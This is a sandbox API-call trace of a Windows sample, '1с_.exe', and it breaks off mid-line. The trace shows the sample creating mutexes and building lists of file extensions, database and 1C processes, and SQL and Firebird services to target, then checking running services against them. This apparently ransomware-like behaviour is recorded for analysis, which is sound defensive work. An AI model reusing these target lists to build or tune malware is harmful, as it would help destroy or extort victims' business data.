# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 10.12.2019 18:19:42.507 Process: id = "1" image_name = "1с_.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe" page_root = "0x4ebc3000" os_pid = "0x92c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x930 [0025.715] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameA") returned 0x76c4b6e0 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexW") returned 0x76c3424c [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0025.721] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="OpenMutexW") returned 0x76c35151 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForMultipleObjects") returned 0x76c34220 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiW") returned 0x76c4d5cd [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpiA") returned 0x76c33e8e [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceFrequency") returned 0x76c341f0 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0025.722] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileAttributesW") returned 0x76c4d4f7 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetVolumeInformationW") returned 0x76c4c860 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreatePipe") returned 0x76cb415b [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="SetHandleInformation") returned 0x76c4195c [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringA") returned 0x76c33c5a [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTime") returned 0x76c35a96 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="SystemTimeToFileTime") returned 0x76c35a7e [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0025.723] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0025.723] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0028.568] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0028.568] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0028.568] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0028.568] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0028.568] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0028.569] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0028.569] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0031.778] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0031.779] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0036.065] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0036.065] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0036.066] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0036.066] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0036.292] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0036.292] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0036.292] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0036.292] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0036.726] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0036.727] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0036.727] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0036.727] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0036.727] GetProcessHeap () returned 0x510000 [0036.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5240b8 [0036.728] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15687113422) returned 1 [0036.728] GetTickCount () returned 0x1142369 [0036.728] GetCurrentProcessId () returned 0x92c [0036.729] GetTickCount () returned 0x1142369 [0036.729] GetTickCount () returned 0x1142369 [0036.729] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5240e0 [0036.729] GetVersion () returned 0x1db10106 [0036.729] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x5136a0 [0036.729] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bc0 [0036.729] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bc0, Size=0x20) returned 0x524130 [0036.729] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524130, Size=0x40) returned 0x5246a0 [0036.729] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x5248f0 [0036.729] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_V0D635A") returned 0x0 [0036.730] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_V0D635A") returned 0x84 [0036.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5136a0 | out: hHeap=0x510000) returned 1 [0036.730] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.730] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246a0 | out: hHeap=0x510000) returned 1 [0036.730] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7) returned 0x5136a0 [0036.730] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bc0 [0036.730] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bc0, Size=0x20) returned 0x524130 [0036.730] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524130, Size=0x40) returned 0x5246a0 [0036.730] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x5348f8 [0036.730] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_V0D635U") returned 0x0 [0036.730] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_V0D635U") returned 0x88 [0036.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5136a0 | out: hHeap=0x510000) returned 1 [0036.731] lstrlenW (lpString="Global\\syncronize_") returned 18 [0036.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246a0 | out: hHeap=0x510000) returned 1 [0036.731] GetVersion () returned 0x1db10106 [0036.731] GetCurrentProcess () returned 0xffffffff [0036.731] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0036.731] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0036.731] CloseHandle (hObject=0x8c) returned 1 [0036.731] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0036.731] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5136a0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x520bc0 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x520bc0, Size=0x20) returned 0x524130 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524130, Size=0x40) returned 0x5246a0 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246a0, Size=0x80) returned 0x5246a0 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246a0, Size=0x100) returned 0x5246a0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x5247a8 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207b0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207c0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5207d0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520bc0 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5247e8 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520bd8 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247e8, Size=0x8) returned 0x5247e8 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520bf0 [0036.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247e8, Size=0x10) returned 0x5247e8 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c08 [0036.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c20 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5247e8, Size=0x20) returned 0x5247e8 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520c38 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c50 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207b0, Size=0x8) returned 0x5207b0 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207c0, Size=0x8) returned 0x5207c0 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524810 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x520c68 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524820 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x520c80 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524820, Size=0x8) returned 0x524820 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544918 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524820, Size=0x10) returned 0x524820 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544930 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524838 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524820, Size=0x20) returned 0x524848 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207b0, Size=0x10) returned 0x524820 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207c0, Size=0x10) returned 0x524870 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5207b0 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544948 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5207c0 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544960 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5207c0, Size=0x8) returned 0x5207c0 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524888 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544978 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524898 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544990 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524898, Size=0x8) returned 0x524898 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524820, Size=0x20) returned 0x544d00 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524870, Size=0x20) returned 0x544d28 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524870 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5449a8 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524820 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5449c0 [0036.732] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524820, Size=0x8) returned 0x524820 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x544d50 [0036.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x544d70 [0036.732] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0036.733] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246a0 | out: hHeap=0x510000) returned 1 [0036.733] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0036.746] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449d8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449d8, Size=0x20) returned 0x524338 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x5246f8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x80) returned 0x5246f8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x100) returned 0x545048 [0036.746] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449d8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5449d8, Size=0x20) returned 0x524338 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524338, Size=0x40) returned 0x5246f8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x80) returned 0x5246f8 [0036.746] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x100) returned 0x545150 [0036.746] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5449d8 [0036.746] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5246f8 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5449f0 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x8) returned 0x5246f8 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x524708 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x10) returned 0x524728 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x524740 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x524338 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524728, Size=0x20) returned 0x524760 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x524360 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x524788 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x524388 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544a08 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5246f8 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x545258 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x8) returned 0x5246f8 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x5452a0 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5246f8, Size=0x10) returned 0x524728 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5452e8 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x545308 [0036.747] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524728, Size=0x20) returned 0x545328 [0036.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x545350 [0036.747] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0036.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545048 | out: hHeap=0x510000) returned 1 [0036.747] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0036.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545150 | out: hHeap=0x510000) returned 1 [0036.747] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5458d0 [0036.752] EnumServicesStatusExW (in: hSCManager=0x5458d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0036.753] GetLastError () returned 0xea [0036.753] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x5491d0 [0036.753] EnumServicesStatusExW (in: hSCManager=0x5458d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5491d0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5491d0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0036.755] CloseServiceHandle (hSCObject=0x5458d0) returned 1 [0036.758] lstrlenW (lpString="Appinfo") returned 7 [0036.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.758] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.759] lstrlenW (lpString="AudioSrv") returned 8 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.759] lstrlenW (lpString="BFE") returned 3 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.759] lstrlenW (lpString="CryptSvc") returned 8 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.759] lstrlenW (lpString="CscService") returned 10 [0036.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.759] lstrcmpiW 